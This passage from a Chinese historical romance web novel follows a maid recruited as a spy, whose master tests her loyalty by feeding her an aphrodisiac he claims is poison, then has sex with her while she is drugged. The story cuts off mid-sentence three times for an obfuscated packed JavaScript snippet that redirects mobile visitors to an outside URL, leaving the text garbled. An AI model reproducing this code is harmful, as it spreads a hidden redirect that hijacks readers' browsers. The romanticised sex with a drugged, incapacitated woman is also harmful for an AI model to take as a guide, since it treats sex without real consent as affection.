她大方承认:“奴婢有幸侍奉过世子几次,不过世子整日用功读书,对这男女之事好像并不热衷。” 听她这么说,杜姨娘笑出了声。云若这张脸,陆执会破戒,她也并没有太意外。 陈氏自诩她一手抚养大的孩子,她最是了解,其实不然。 陆执是她的孩子不错,但他还是个男人。就像镇国公,曾经不也是她的男人,可惜她不懂男人,靠她的出身坐得住镇国公身边的位置,但留不住镇国公的人和心。 “你这丫头还是太年轻了,这男人,就很少有对这事不热衷,无非是没碰到最合契的那个。不过你居然能让我们传闻中不近女色的世子破了戒 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这玉佩通身莹润透亮,内无杂质,触手生温,雕工婉转流畅,浑然天成,即使云若没见过多少名贵的东西,她也知道这块玉价值不菲。 她做出受宠若惊的模样,推辞着不敢接:“姨娘,这太贵重了,奴婢不能收。您对奴婢有恩,奴婢替您效劳是天经地义的事,这玉佩奴婢是绝不能收的。” 杜氏拿过玉佩,亲自塞到她的手里:“你愿意为我效劳,我自然不会亏待了你,这个当作我给你的信物,以后你每一两个月来给我汇报一次,凭此玉佩可直接进出凝香院,无人会拦你。” 云若不敢收她的东西,只口头许诺,到时候反咬不承认即可,但若是收了东西,有了利益往来,没有的事都能被编排出来。收下这个不就等于给自己挖坑吗? 她还要推脱,却见杜氏冷了脸:“莫不是云若姑娘看不上我这点东西,还是说刚刚云若姑娘说要为我效劳的话只是敷衍应付?” 看杜姨娘这架势,她要是不收下,先前说的那些都要白搭了。 云若只能勉为其难收下:“奴婢不敢敷衍应付姨娘,只是这玉佩太贵重,奴婢觉得受之有愧。” 她收下后,杜姨娘瞬间喜笑颜开:“我凝香院的人,待遇一向如此,你安心受着,好好为我办事就行了。” 云若又阿谀奉承,表了一番誓死追随的衷心,杜姨娘高兴地受了。 “好了,你也出来这么久了,仔细世子要寻你了,我就不多留你了。” 眼下杜姨娘这关应该是过了,云若松了口气正要告退,杜姨娘又突然叫住她。 “对了,除了这个,我还有一个东西忘了给你。” 云若脚步一顿,挂上笑问她还有什么东西。 杜氏从自己袖中拿出了一个白色瓷瓶递给她,云若心下大骇。 杜氏抓住她的手,放进她手中,嘴角挂着深有意味的笑:“此药无色无味,易溶于水,你若是碾碎了放一点在世子的吃食里,长久下来,世子必然对你魂牵梦绕,心醉神迷。” 竟是这些东西,云若松了口气,她收下东西,一副了然于心的模样:“多谢姨娘。” 杜氏摆摆手,让她离开了。 看着云若走远了,赵嬷嬷才上前问出了心中疑虑:“主子觉得这人可用吗?” “人还算机灵,也懂事,暂时先用着,不过不能把所有的注都压在一个人身上,我们还是要多做几手准备。要是狗不受控制了,及时处理才不会乱咬人,你说是不是?” 赵嬷嬷会心一笑:“主子说得是。” 18. 玉佩 云若揣着两块烫手山芋、抱着小半袋面粉,满心忐忑地回了承熙院。 虽然她并没有要背叛世子或是害世子的意图,但她毕竟说了违心的话,做了违心的承诺。 明明当时她离开亭子后仔细观察了一圈,没见着别的人,眼下还是有点做贼心虚。 把面粉交给何厨头后,云若溜回了自己的房间,拿出那两样东西,扔也不是,不扔也不是,最后还是找了个不打眼的盒子把它们先收了起来。 她再去书房的时候,被书房看上去拥挤了一些的样子震惊了。 世子的长书桌边边又接了张小桌子,那外面看上去光亮,与世子那张用了十几年的书桌对比鲜明,这张像是刚做出来的新桌子。 “世子,怎么多了张桌子?” 这个时候难得没见到世子捧着本书在读,而是站着整理书桌。 这种活哪里能让他干,云若连忙走过去,接过他手里的书,整理起来。 “按着你的习惯整理吧,以后这就是你的书桌了。” 正在把书立起来跺平整的云若手一顿,睁圆眼睛看向世子。 陆执撇开眼,淡淡道:“最近学得不错,算是给你的嘉奖。” 云若手里的书都快拿不稳了。 这桌子竟然是给她准备的。 她现在再低头来看,才注意到这张桌子比起世子那张是矮了一点,世子身高腿长,坐在这里可能得缩手缩脚了。 桌子上的东西大多复刻世子的书桌布局,笔墨纸砚、镇纸文玩和一些小摆件,一看就是世子喜欢的类型。 云若视线在桌子和世子之间打转,世子好似察觉,默默转过身看书。 云若无声地笑了。她收起其他情绪,开始收拾起属于她的桌子。 这么久以来,经过世子的熏陶,她的喜好几乎都随了世子。世子准备的这些都很和她心意,她按着自己的习惯把书写工具重新摆放了一番,把那些摆件从大到小一次排列,桌子就收拾得井然有序了。 心中是难以言喻的满足感,她绕到世子面前,给他行了个端端正正的礼。 “多谢世子。” 她嘴角带着浅浅的笑,俏皮腼腆,陆执的嘴角也不禁随着她上扬。 他单手扶额,挑眉看她:“就这么谢?” 听出他话里的其他意味,云若敛了几分笑意,她眼眸一转,眼底是几分狡黠:“我一定会好好念书的,绝不让世子白白破费。” 倒是会接招了,不像之前那样一逗就脸红。 陆执抬手指了指她桌上那一摞书,大概有十来本,每本书都不算很厚。 “以后就不是一天一检查了,这些都是我当初的启蒙书,你每看完三本,我再来抽查。有读不懂的就来问我。” “是!”她尾音上扬,是掩不住的高兴。 说完就坐回自己的桌子前,拿起书就打算翻阅,陆执出声提醒:“可以自己做个规划,每日看多少,几日能看完。看的时候自己琢磨我会问你什么问题,反正我的问题书里全有答案。” 云若点头,先把书放在一边,拿了张纸出来做规划。 看她现在不用老是缩在那边的小桌小椅习字,写个字连张纸都不能铺开,他看着都憋屈。毕竟算得上是他的学生,怎么能如此束手束脚。 再有就是,上次书房那回,他后来想想也觉得不太好,但他有时候在不同的地方尝试,也别有一番滋味。 她总在他身边的话,他怕自己以后还会失控,现在好了,她有了自己的桌子,学起来方便,他教起来也方便。 陆执在心里唾了自己一口,不知道自己读的是什么圣贤书,哪本圣贤书里的君子好像都不似他这样。 转念一想,算了,他本来就不是什么君子。当君子没什么用。 两个人就这么静静地待在一室各自读了一下书,书房的窗户没有关,夏风卷起院子里的树叶哗哗作响,伴着屋内间或的翻书声,莫名让人心情宁静。 云若现在读的这本书对仗工整,条理清晰,包含了自然、历史、伦理,内容丰富,也不难理解,她一遍读下来十分顺畅,差不多到时间要为世子备晚膳了,她放下书的时候都意犹未尽。 她从厨房回来的时候,看到左行刚从世子书房里出来。 两人相视一笑,云若随口一问:“世子找你有什么事吗?” 左行微微张着嘴,迟疑了几息,才开口回她:“桌子没放好,世子让我进去重新放了一下。” 说完他就匆匆地走了。 没放好吗?她用着的时候没什么感觉。 云若带着疑惑进了书房,见世子负手屹立在窗前,好像在望着远处出神。 云若唤他:“世子,可以用膳了。” 陆执应了声,抬手把窗子关上,转身往外走,云若跟着他走了一段,世子才突然想起什么似的,同她说:“明日我要去相府,左行跟着去就行,你得空的时候好好把我今日布置的功课完成。” 一晃眼又到了世子去相府的日子,这一个月以来,她每天忙着自己的功课,都差点忘了这回事。 是因为这事刚刚左行才那么奇怪的吗? 不能出府她是有点遗憾,但她现在也有事可做,只能盼望她下次休息的时候能赶上世子去相府。 “奴婢知道了。” 今晚,世子又久违地在书房学到子时过才回房。 第二天,世子又是一早出了门,云若和云月云燕收拾好屋子,把书房打扫了一番,然后给院子里的盆栽浇水。 云月看四下无人,挤到两人中间,问她们:“杜姨娘找你们了没?” 三人面面相觑,心中了然,杜姨娘果然是把三人都找遍了。 沉默半晌,云燕问:“你们,是要跟杜姨娘,还是跟世子?” 云燕这个问题问得不好,倘若心中有了决算,谁会这么直接说出来,万一被有心人听去了,两边都无法立足。 似乎意识到了自己的唐突,云燕先表明了自己的立场以表诚意:“世子对下人这么好,我肯定是想跟着世子的,只是我们的卖身契在杜姨娘手里,又与世子的主仆情分不深,若是她要处置我们,只怕世子也不会保下我们。” 云燕瞟了一眼云若,话里有些意味不明:“倒是云若,世子说不定会留下你,毕竟,你是伺候过世子的。” 云月也看了她一眼,但是没有说话。 云若沉吟片刻:“云燕你多虑了,我于世子而言不过是消遣,像我这样的世子想要多少有多少。” “那你是要…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150091|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “跟谁得的最多,那当然就跟谁,反正命都不在我们自己手里。” 说罢,云若提起已经空了的水桶离开。 她走到长廊的转角停下,看到两人已经分开各自干活,没有再多说。 看来跟杜姨娘透露她的情况的是云燕,方才云月的神情也是犹豫不决,也不知道她是何态度,又和杜姨娘说了什么。 若她们也和她一样表面顺从姨娘,那她就不必过于提防二人。若她们二人都投诚杜姨娘,那她就得在二人面前扮演好尽职尽责打探世子消息的样子,还得提醒世子小心。 云若都不知道杜姨娘何时找了她们二人,她近来完全忘了杜姨娘这回事,俨然把自己当成了承熙院的人。 如若要她择主,她必然是选择世子。 ** 陆执回来的时候,天已经黑了。 云若迎上去,却见世子冷着一张脸,身后跟着的左行也一脸凝重。 左行把手里的书箱递给她,世子则是径直略过了她。云若不知道发生了什么事,满心疑惑求助左行。 左行摇摇头只说了句:“你把东西放好后来世子房里一趟,世子有话要问你。” 云若更加不解了,要问她什么?她做了什么错事吗?世子出门前还好好的,怎么惹了一身火气回来? 难道是给世子收拾错功课了? 云若赶紧抱着书箱回了书房,查看一番,并没有发现什么问题。那世子到底因何生气? 害怕让世子等久了,世子怒气会更盛,她赶紧把书箱里的东西收拾好,然后怀着忐忑的心去了世子房里。 房里早就点上了灯,世子高坐榻上,他低垂着眸,让人看不清他的神色。修长的手指一下没一下敲着桌面,橘黄色的火苗跳动,衬得他半张脸忽明忽暗。 左行站在一旁,一手握着未出鞘的剑柄,面色冷峻。 才踏进屋子,她就已经感受到了世子周边冰冷的气场,这是云若伺候世子这么久以来从未遇到过的。 她缓缓走到屋子中央,世子已久没施舍给她一个眼神。 她福身行礼,一室死一般的寂静。 候了半晌,云若斗胆开口:“敢问世子,您要问奴婢什么?奴婢一定知无不言。” “云若。”世子轻掀眼皮,漆黑深邃的眸子沉甸甸的,眼里是她未曾见过的漠然。 “你有没有什么要对我说的?” 云若不解:“世子想听奴婢说什么?” 陆执轻蔑一笑,一个抬手,左行从他的怀中掏出一枚玉佩和一个瓷瓶。 云若目光顿时随着那两样东西一起转移到世子手上。 那枚玉佩! 碧绿色的穗子,蜿蜒的纹案,不就是昨天杜姨娘给她的那枚玉佩吗! 为什么会在左行手里?她不是收起来了吗?世子是什么时候发现的,又是什么时候拿走的? 她竟然一点都没察觉? 世子此时这么生气,是已经知道这是杜姨娘给她的吗?那昨日的谈话的内容,世子知道了多少?世子误会她了吗? “现在,你知道我想听什么了吗?” 世子的语气与他平时在她耳边细语的时候无异,但她这次却觉得寒冷刺骨,整个人如坠冰窖。 19. 心腹 近日,承熙院附近总有人鬼鬼祟祟,左行早有察觉,禀告给陆执后,陆执让他先不要声张,暗中观察对方究竟打的什么主意。 对面是个不严谨的,第一天就被左行跟回了院子。 “是凝香院的人。” 陆执点头了然:“应该是来看自己的棋子有没有盘活,既如此,你最近盯着点那三个丫头。” “云若也盯吗?” 陆执一个抬眼,眸中一丝厉色闪过。 左行自觉说错了话,他低下头:“小的明白了。” 前几日,云月云燕分别和杜氏碰头,都被左行尽收眼底。今天人突然没有了,只有云若出门了一趟,他稍微一调查,果然有人看到云若在后花园的湖心亭见了杜氏,还交谈了好一会儿。 湖心亭不好掩蔽,也就不好接近,没人听到杜氏跟云若说了什么,只瞧见杜氏给了什么东西给她。 “给了她什么东西?” 左行双手奉上。 陆执从左行手中拿起玉佩,质地透亮,触手生温。 “是块好玉,这次杜姨娘还真是舍得下本。” 陆执又打开那瓶药,倒出白色的小药丸,放在鼻间嗅了嗅。 “是毒药吗?” 陆执摇摇头,“闻着不像。” 他拿着玉佩走到桌子旁,几笔勾勒出个大概模样,把东西递给左行。 “东西你先放回去,拿着这张纸,明日随我去相府的时候,你出去找个铺子买块相似的。时刻注意她的动作,找个机会,让她自露马脚,到时候我倒要听听她会怎么说。” 左行从陆执手上拿回两样东西收下了。 “记住,在她没露出破绽之前,别惊动了她。” “是。” 陆执走到窗边,负手而立。 倘若,她选择的是跟随别人,他要怎么处置她呢? 左行退出书房,正敲碰见从厨房回来的云若,同她浅笑打招呼。 她随口一问:“世子找你有事吗?” 就这么一句话,左行觉得她好像在试探,他摆出和平常一样人畜无害的笑容,随便找了个借口:“桌子没安好,世子让我进去重新放了一下。” 左行担心自己多说露馅,赶紧低头走开了。 看云若进了书房,他才悄悄潜进她的屋子,把东西放了回去。 翌日,陆执带着左行出府,途中左行先下车,去找铺子买玉佩。现成的没有,只能请掌柜加急打了块粗糙的出来,反正远远看上去没什么区别。 左行从铺子里出来,看到镇国公府的马车已经在一棵树下等着了。 打开车门,陆执正把玩着手里的两瓶药。 左行上了马车,把玉佩拿给陆执过目。 陆执看了一眼,让他收好。 左行指着陆执手里的两瓶药,问他:“世子,怎么有两瓶药?” “有一瓶是鹤顶红。” 左行默了好一会儿,复又问到:“那世子打算给她哪瓶?” 陆执眼神戏谑:“看她表现。” ** 眼下,陆执看着已然跪在地上的人,神色不明。 “云若,我应该待你不薄,眼下这些东西,你最好给一个让我满意的答案。” 他把那瓶药和玉佩一齐丢到桌子上。 清脆的瓷器碰撞声激得云若身子一震。 她告诉自己,此刻不能乱了阵脚。 她本就没有背叛世子的心,世子现在只是蓦然发现,有些生气,她一定要冷静同世子说清楚。 欺骗世子定然是行不通的,只能赌一把,告诉世子她真实的想法,世子信或不信,全在他了。 云若深吸了一口气,缓缓道来。 “回禀世子,这两样东西都是杜姨娘给奴婢的。杜姨娘要奴婢监视您,给她汇报您的情况和喜恶,事无巨细,以便帮助二公子同您破冰。 奴婢自是不信姨娘是这般好意,若真心想要破冰,这么多年何故不破,怎么会等到现在?奴婢是杜姨娘买进来的,身受杜姨娘掣制,不得已只能假装答应以应付过去。奴婢无一人侍二主之心,奴婢心中只有世子一个主子,绝没有加害世子的意思。” 云若坚定的声音在屋里回荡,陆执的视线终于肯落在她身上。 “你说你只是假意应付,那你打算怎么做?” “杜姨娘只要求奴婢每隔一段时间去跟她汇报一次,她既要奴婢这个眼线,必然是在世子身边无人,届时我编造一些说与杜姨娘听,杜姨娘应该也不会起疑,就算起疑了,她也无从验证。” 陆执点点头,不知道是对哪番的肯定。 他捡起桌上的瓷瓶,问她:“那这东西,是用来干什么的?” 适才说起话来头头是道,连粗气都不喘一口的人,碰上这药却面露异色。 连带着声音都软了几分:“这药……这药是……” 云若瞥了眼虽板正站着,但竖起耳朵也好奇这是什么药的左行,她正组织着措辞,想要把这个药的作用说得委婉一点。 见她吞吐,陆执起身离座,缓缓踱步到她面前。 陆执的身影完全将她笼罩,他自上而下睥睨着她。 “这药怎么了?” 云若仰头望他,世子周遭的气场不似往日的温和,反而让她徒生压迫感。 云若实在不好意思当着第三人的面说出这药的用途,她颤着手拉了拉陆执的衣袍。 她目光澄澈,直勾勾看着他。 “世子可否矮身下来些。” 本来是肃穆的无形审讯,她这么一弄,方才的一番对峙像是做戏一般。 陆执心里这么想着,身体却已经俯了下来。 左行连阻止的话都还未说出口,他只能死盯着云若,生怕她有刺杀世子的动作。 云若倾身向前,凑近世子耳边,用只有世子能听到的声音告诉他:“若让世子服用此药,可让世子醉心美色,独宠一人。” 少女的呼吸洒在他的颈侧,一阵酥麻。 陆执耷拉下眼,对上她试探的眼神。 他抬手捏住她的脸颊,手指陷入她肉肉的脸,红润的唇微微撅起,看得人一时忘了自己意欲何为。 陆执拉开两人的距离,笑意未达眼底。 “想让我相信你吗?” 云若目光恳切,想要点头,却被他制得动不了,只能轻声道:“想。” 陆执朝后伸手,左行立马把药瓶递给他。 他单手拨开木塞,从里面倒出一颗药,捏在指间。 “吃了它,我就信你的忠心。” 云若看着眼前的药,心里有点发怵。上回的依兰香,连带着她也情热难耐,杜姨娘这次给的这药,怕是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153989|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比那依兰香厉害不少。 可若是不吃的话,她抬眸看向世子,他眼里的冷意不断蔓延。若是不吃,世子怕是难以相信她,吃了,无非是忍一忍就过去了。 陆执见她眼神飘忽,还以为她在骗自己,不敢吃,他哂笑:“怎么,不敢……” 话还没说完,云若就含住了他的手指。 那双小鹿似的眼睛浮动着波光,长长的睫毛微微颤动,眼底是豁出去的毅然。 湿滑的小舌轻舔他的指腹,呼吸间指间的药已经被勾走。 陆执松开捏着她脸颊的手,将适才碰过她红唇的手负在身后,借着宽大袍子的遮掩,他两指搓开手上的湿意。 “瞧你,怎么吃得这么急?你的忠心我看到了,可是忘记说了,瓶子里的药我让左行换过了,里面装的是鹤顶红。” 陆执放缓语速说出了鹤顶红三字,时刻注意着她的神情。 云若神情呆滞,如遭雷劈。 陆执勾唇笑道:“我本来只想试探你一下,谁知道你这么心急自证,这药毒性发作快,无药可解,不到一炷香,你就会去了。只是可惜我身边就少了个可心的人,不过你放心,这药不会让你太痛苦,就当看在我们主仆一场的情分,给你个痛快。” 世子的话一句不落被她听了进去。 云若活了这么多年,从没想过自己会英年早逝,就连旱灾连年的那时候,她甚至想过哪怕吃树皮啃野草也好,无论如何她都要活下去,可是现在,她就这么草率、突然地死去了吗? 她此刻已经面如土色,心如死灰,她不知道临死前该干些什么,迷茫地环顾了一圈,懵然地给世子磕了个头。 千思万绪,最后还在诉说衷肠:“鹤顶红也好,只要是世子想让我吃的,奴婢都会去吃。 世子能教奴婢读书识字,让奴婢从书中见识奴婢未曾见过的天地,奴婢的感激之情无以言表。自打入承熙院以来,世子对我们这些下人如此宽厚,让奴婢在这里有了家的感觉。世子给奴婢好吃的,给奴婢住所,给奴婢准备桌子,带奴婢去君子台,奴婢非常知足了。世子对奴婢的好,奴婢一直铭记于心,只求有朝一日能够报答世子。 虽然奴婢并没有害世子之心,答应杜姨娘,收下杜姨娘的东西,都是奴婢的权宜之计。但奴婢自做聪明,假意投诚,以为能和杜姨娘周旋一番,让世子误会了,是奴婢的错。奴婢有这个结局,是奴婢自找的。如果有下辈子,奴婢还愿意追随世子……” 说到后面,云若已经有些哽咽了,身体开始出现了不适感,想来是毒药发作了。 看着她泛红的眼眶,身子都在颤抖了还没有怨恨他,口口声声全然只记得他的那些微不足道的小恩小惠,陆执一向清明的思绪有些乱了。 “好了。喂给你吃的不是鹤顶红。”思绪还没理清楚,安慰的话先说出了口,身体也动了起来。他转身把桌子上的玉佩拿过来放到她面前。 “你仔细看看。” 云若抬袖抹去眼泪,狐疑地接过世子手中的玉佩。一拿到手里,就是粗糙的砂砾感磨着手,握在手里冰冰凉凉的,透着烛光,她清楚地看到了玉佩里的杂质,这不是杜姨娘给她的那块! 陆执望着她,眸中的凛冽早已褪去,取而代之的是无尽的笑意,其中的温柔径自蔓延到眼角。 “你这么不经诈,以后还怎么做我的心腹?” 20. 好坏 寂静的室内一声抽泣,陆执回头一看,左行正抱着自己的剑偷偷抹眼泪。 没办法,云若说的太诚挚了,左行一个堂堂男子汉被她的句句肺腑之言感动得眼泪止不住往外流。 说得太好了,云若说的就是他想对世子说的!云若果然和他是同道之人! 陆执嫌弃地挥了挥手:“你先退下。” 左行也觉得自己现在这个样子有点失态了,他拱手行礼,连话都说不顺溜了:“世子……小的告退。” 陆执不耐烦地又挥了挥手。 左行强忍着不让泪水流下,一溜烟跑出了陆执的房间。 顷刻间,偌大的屋子里只剩下云若和陆执两个人。 云若身体里翻涌着汹涌的热意,浑身泛着痒意,希望被人抚慰。她双手撑在地上,连跪都快跪不住。 她像踽踽独行在沙漠中、即将精疲力竭口渴而死的行人,她渴望现在眼前就能出现一汪春水,浇灌她、裹挟她。 她体力迅速流失,身子止不住轻颤。 “好热啊……世子……您给我吃了什么?” 一句话,语气娇嗔得云若都不相信这是从自己口中说出的。当然,那得在她清醒的情况下。 陆执单膝跪地,伸手撩开她鬓边的碎发,露出她瑕白的脸肉。 他在她耳边低语。 云若已经被这蒸腾的热意模糊了五感,听不清世子说了什么。她只感到有冰凉的柔软滑过她的脸,她渴求那分凉意,忙不迭用脸去蹭。 那凉意果真为她停留,她伸手抓住,贪婪地汲取。只在脸上蹭取好像解不了她体内的燥热,她拉着这分凉意抚过她的脖颈、锁骨,往下、往里去了。 原本穿着服帖的衣裳因为挤了东西进去,让云若觉得束着了,很不舒服,她用另一只手去解自己的衣襟,可是她手抖着没力气,又半天找不到襟带在哪里,急得开始胡乱拉扯。 幸而迎面扑来一阵清香包裹住她,然后她就感觉束缚被解开了。她随意扯开,让一层层一件件挂在手臂上,微冷的空气轻抚她的肌肤,让她舒畅了几分。 她引着那份凉意在自己身上游走,可是这压根解不了她的燥热,还让她更加空虚,而且很快,那份凉意便消失了,她去寻那凉意的源头,蓦地抱住好大的一块坚硬。 是石头吗?云若蹭了蹭,光滑柔软的布料很舒服,原来不是石头。 那是什么? 她用双手去摸索按压,又软又硬,好奇怪,怎么会有这么奇怪的东西? 她好奇地用手掐了一下,却听到有人倒吸一口凉气。 她意识回笼了几分,努力睁大眼想去看是谁。 人影重叠恍惚,最终定格,看清眼前的人,云若粲然一笑:“世子!” 感觉冰凉摸上了她的腰背,她低头一看,是一双骨节分明的手。 原来这凉意的源头是世子,她一个猛扎,将世子牢牢抱住。 世子身上的味道真好闻,云若靠在他的胸膛上,又蹭又嗅。她短暂清醒了一瞬,又被热浪覆没。 觉得眼前的布料蹭得她生热,她不满地想把这布料掀开,但她手上凌乱不得章法,最后还是有人引着她找到襟带,轻轻一扯便剥开了。 为解体热,她整个人都和身前的冰凉贴得严丝合缝,感到冰凉往后退,她便纠缠上去,一下子她左脚绊了右脚,跌倒在柔软里。 冰凉不动了,她就像蛇一般缠了上去,磨蹭着。 耳垂蓦地一阵痛意,让她的眼睛清明了几分。 低哑的声音诱哄着她:“去床上好不好?” 云若不想和冰凉分开一刻,她固执地摇了摇头,语气是从未有过的娇蛮:“不好,我就要在这!” 她只听得一声勾人的轻笑,然后她的腰臀被人一托,整个人坐上了一个肉垫。 怔愣间,身体被填满,燥热虽然依旧,但空虚不再,盈满的餍足掩过燥热的磨人,她开始贪恋。 云若总感觉自己在水里起起伏伏,独木难支,她的手四处摸索,想要找到能够牢牢抓住的藤蔓,不再荡漾,双手却被人扣住,动弹不得。 顿时,一阵闷长窒息的快感将她湮没,她忍不住往后仰去,露出她白嫩的脖颈。 她挣扎着,终被释放,抹抹凉意从她的腹腔蔓延。她大口喘气,浑身无力,向前趴倒。 陆执用下颌摩挲怀中人柔软的发丝,搂住她腰肢的手顺着她动作间散乱的长发。 方才她意乱情迷的样子,看得他快要发疯。 这小坏蛋,猫似的在人身上蹭来蹭去,只一味勾人不解馋,陆执想把她带到床上,她却像孩子一样闹着,叫嚣着就要在这,既如此,他满足她便是了。 现下舒畅了,趴在他胸前一动不动,温热的气息全呼在他身上,激起一阵酥麻。 陆执缓了一会儿,身上的人又开始不安分地动了起来,他搂抱着人先翻身把她压在身下,然后勾着她的腿缠住他劲瘦的腰倏地把人抱了起来。 他一步一顿抱托着人往床榻走去,怀里的小猫嘤咛着,微微蹙眉。 陆执跪行上床,把人轻轻放在床榻中央,她的腿顺势要往下滑,他一把抓住搭在自己的臂间,另一只手按住她的腰胯。 轻纱晃动,云若的手无助地紧握又松开。 陆执居高临下,墨色的眸子一瞬不瞬地盯着她的一举一动,一呼一吸,仿佛要把人吸进去。 往日的温和柔情不知被丢弃到哪里去了,取而代之的是他自己都不曾预料到的欲望,霸道,占有,缱绻。 她动情的声音也像小猫缠人一样,细声慢吟,看着她口腔里将吐未吐的小截粉嫩,陆执倏然觉得口干舌燥,他低头想要去寻她那处的甘泉,未料牵一发动全身,她浑身一个轻颤,不知觉偏过了头。 他的唇落在了她的颈侧,陆执顿了一下,轻呵一声,报复般开始啃咬起来。 说是啃咬,稍微使点劲身下的人一个哼唧他就卸了力。 怎么这么娇气? 细密的吻缠绵落在她白嫩的皮肤上,印出一朵朵红梅坠落其间。 许是他的发丝似有似无的抚弄,让她生痒,她迷迷瞪瞪伸手抱住他作乱的脑袋。 陆执勾唇一笑,犬齿研磨她一处细嫩的皮肉,云若一声痛呼,手滑落到他的胸膛握拳抵住想要推离他,但他坏心眼不松口吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158543|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吮,拉扯之间云若竟尝到了别番滋味。 她无力阻挡,便随他去了。 此时她的药效还未散去,她对这一切体会都真切又梦幻。 一直到天微微亮,这场身与心的博弈才接近尾声,云若早已浮浮沉沉昏了又醒,醒了又昏。 到最后,陆执在她脸上落下蜻蜓点水般的吻,这才拥着人睡去。 云若在梦中才迷迷蒙蒙分辨出当时世子的回答。 他回她:“自然是能让你醉心男色,无法自拔的东西。” 云若在睡梦里呢喃了一句:“好坏。” 等云若醒过来的时候,发现是在自己的房间。她身上清清爽爽的穿好了中衣,除了她掀开衣领看到的一身的红痕之外,没有别的不适。 她穿好衣服下床的时候,腿一软她差点跪了下去。她撑着床沿才站稳,这会儿她才明白昨晚两人有多放纵。 云若缓了好一会儿,才能勉强撑住走出屋子。 甫一出门,就见左行端着食盒过来了,看到她,左行惊奇一笑:“嘿,世子猜得真准,你还真这个时候起了。” 一提到世子,云若现在还有点不自然,她浅浅一笑不知道说什么。 左行没注意到她的不自然,拎着食盒走到一张桌子前,招呼她来吃饭。 “快来吃点东西吧,这都下午了,你肯定饿了。” 云若震惊,她居然睡了这么久,真是罪过。 左行帮忙把饭菜摆好就离开了,没留下来让她更不自在。 云若吃完饭,收拾好后,迈着让身体不适程度最轻的脚步,缓缓踱到了书房。 见来的人是她,陆执问她:“身体有不舒服的地方吗?” 云若斟酌一番,说了句:“没有内伤,外伤没见血。” 陆执被她这句内伤逗笑:“那下次你清醒的时候配合点,争取连外伤也别留下。” 云若赫然。世子脸爷忒厚了,永远能云淡风轻和她讨论这件事。 想起这件事的祸根,云若试探道:“世子,昨晚的事……” “什么事?”陆执自问自答,“你说要当我心腹那事?” 云若想也算是吧,她点了点头。 陆执轻笑:“看你表现。” 这话的意思是昨天的事翻篇了吗? “那以后每次要去跟杜姨娘汇报的时候,奴婢都先汇报一边跟您听,您不让奴婢说的,奴婢绝对不多言?” 云若试图和他商讨应对杜姨娘的方案。 陆执沉吟片刻,回她:“可以。但是我还有一个要求,每次把你要汇报的东西先写下来,我到时候说写都要检查,这样你这个双面细作干活学习两不误,你觉得呢?” 这个时候,这种事情,世子还想着因材施教监督她的学业吗! 云若真是低估了世子想做一个好老师的心。 但是世子已经开口了,她自然得应下,她是和世子商量,但世子显然不是在同她商量。 从那以后,云若开始记录世子日常,每天都写下来给世子过目批阅,从最初抓耳挠腮无从下笔,到后面已经开始小有手感,能够写出一小篇连贯的起居录了。 21. 变数 经上次陆执和左行主仆配合着一诈云若,陆执教她读书认字的事也被左行知道了,他才恍然大悟,怎么她老往世子书房钻,明明那个时候正是偷闲的绝佳时机。 现在偶尔云若觉得在书房看书闷,陆执也会准她到外面找个没人的地方,换个环境看。 晌午,整个府上这个时段是仅次于夜间的宁静,陆执在小憩,云若、右安、左行三人在树下纳凉。 云若还捧着本书在看,偶尔遇到陌生的字,就请教右安。 左行看着两人说着他听不懂的东西,有点吃味:“怎么世子只教你不教我?” 闻言,云若一愣不知道该怎么回答,一旁的右安倒是笑出了声。 “这你怪得了谁,之前世子读书的时候,让我俩偷着学名师课,是谁闹着说自己学不来这玩意儿,世子才没管你的?现在你倒开始怪起世子来了” 云若听着能够想象出那时候的画面,觉得挺有趣,也跟着右安笑。 左行微窘:“世子那么聪明,他上的课我怎么跟得上嘛。” 见两人不听他狡辩,左行撇嘴:“再笑!那以后你们都写字交流,孤立我好了。” 云若右安相视一笑,一齐点头:“好主意。” 左行瞬间崩溃:“你们居然还真敢这么想!你们要是敢这么做,我就和你们绝交!” 这么大个人,还把绝交挂在嘴边,这左行俨然还是个孩子心性,但是干起正事来的时候还是靠谱的。 轻松的时光总是一晃而过,看着时间差不多了,世子也已经休息好回了书房,云若也跟了上去。 一进去,陆执就让她把她这一个多月的写的综合起居录给他检查。 她昨晚已经把这一个月陆执的日常汇总了起来,只用一张纸就写完了,因为世子的日常属实有点单调。 “遣词造句不错,通篇读下来很顺畅,事情也说清楚了。”陆执有模有样地评价,云若乖乖聆听赐教。 “不过你要是把这些说给杜姨娘听,她恐怕会觉得你在玩弄她。” 云若也这样认为,即使她已经对此进行了润色。 她问:“那奴婢该怎么写?” 